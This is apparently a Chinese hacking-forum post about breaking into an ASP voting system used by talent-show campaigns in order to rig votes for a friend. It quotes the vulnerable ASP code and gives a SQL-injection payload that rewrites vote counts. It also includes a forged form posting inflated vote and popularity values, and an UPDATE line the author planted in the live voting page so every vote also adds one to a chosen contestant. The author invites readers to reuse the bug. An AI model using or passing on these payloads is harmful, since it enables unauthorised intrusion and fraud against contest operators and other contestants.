本文不针对某活动或网站,此ASP投票系统涉及很多网站活动使用。其核心代码是一样的,只是风格有些诧异。不希望大家批量搞站,但偶尔碰到了周边人参加活动的可以利用这个BUG试试。。。

同学参加某大型选秀(CCTV有参与)活动,每天Q上线就看到她发来连接让帮投票。一点点投不要太要命了。

随后观察此站,asp投票系统,对站外get、ip、以及时间做了限制。最后直接c段拿到shell,但这样不是长久之计(投票系统你不能直接加很多票数,管理会发现。shell估计不能保持长久)

下来程序看了下,上传点很多,拿shell不可实现,就看下注射啥的吧

在来看前台姓名编号搜索出发现了可含性注射。

t=Request("t")
key=Request("key")
Select case t
case "id":sql="Select * from xxx where sh=1 and id like '"&key&"' order by ps desc":msg="按照编号:"&key&"排序"
case "name":sql="Select * from xxx where sh=1 and name like '"&key&"' order by ps desc":msg="按照姓名:"&key&"排序"
case else

可以看到直接会导致注射

"' and........update xxxx set ps=8888 where id=888 ''"等,结束前面注释后面语句。

再来看选手修改页面后提交更新程序:

If Trim(Request.Form("ValidCode"))=Empty Or Trim(Session("cnbruce.com_ValidateCode"))<>Trim(Request.Form("ValidCode")) Then
        Response.write("<script language='javascript'>alert('验证码错误!');history.back();</script>")
        Response.end()
End if

sql="Select * from xxx where id="&Session("id")
Set rs=Server.CreateObject("ADODB.Recordset")
rs.Open sql,conn,1,3
putallrs(rs)  //我也很惊讶,这个问题大家可以看看我之前的主题,和某积分返点系统类似
rs("video")=Request.Form("video")
rs.Update
rs.Close

看到上面这段代码很兴奋。会员信息,包括人气值和票数都在同一表。而且上面这辍代码没过滤。

再次本地化表单,投票页面vote_do.asp做了防止外部提交,但选手修改页面这里没有。网页右键查看源码,去掉乱七八糟的,两行input,人气和票数

提交成功!(为了截此图,特意上了下QQ,涂的不好看当然不露点)

<form action="http://www.XXXX.com/View_do.asp" 
method="post" name="beauty_in" id="beauty_in" onsubmit="return(monitor());" >
<input name="ps" value="888888"/><input name="rq" value="8888888"/>
           
                      <td height="25" align="left" valign="middle"><span class="na">*</span>验证码:
                        <input name="ValidCode" />
                        &nbsp;&nbsp;&nbsp;<img id="chk" onclick="document.all.chk.src='';document.all.chk.src='http://www.xxxx.com/Inc/ChkCode/validatecode.asp';" src="http://www.xxxxx.com/Inc/ChkCode/validatecode.asp" border="0" /><img src="Images/defaulting.gif" width="90" height="120" style=" display:none" />&nbsp;&nbsp;&nbsp;&nbsp;<span style="cursor:hand; color:#0000CC; " onclick="document.all.chk.src='';document.all.chk.src='http://www.xxxxx.com/Inc/ChkCode/validatecode.asp';">看不清楚?</span></td>
                    </tr>
                    <tr>
                      <td align="center"><input type="submit" value="提交修改" name="Submitok" />
                        &nbsp;&nbsp;&nbsp;&nbsp;
                        <input type="reset" value="清空重填" name="reset" /></td>
                    </tr>
                  </tbody>
              </table>
            </form>

直接加票上去。不知道刷票&……%公司是不是这样加的(需要选手登陆)?

但每次票数不能加太多,还要保持稳定增加,别今天涨到800票了,两天后还是800票没变,管理会起疑心。。

于是我邪恶的在投票页面加了

sql="update xxxx set ps=ps+1 where id=888
conn.execute(sql)

给任何人投票都会给我指定的人加一票,这样稳定了吧。

对了,同学发现她的票飚的很不错,问我怎么投的,我说加了上百个QQ旺旺群发啊,求人家帮忙投票。。女同学激动的就差以身相许了。年假了回老家碰面。。。。

结束!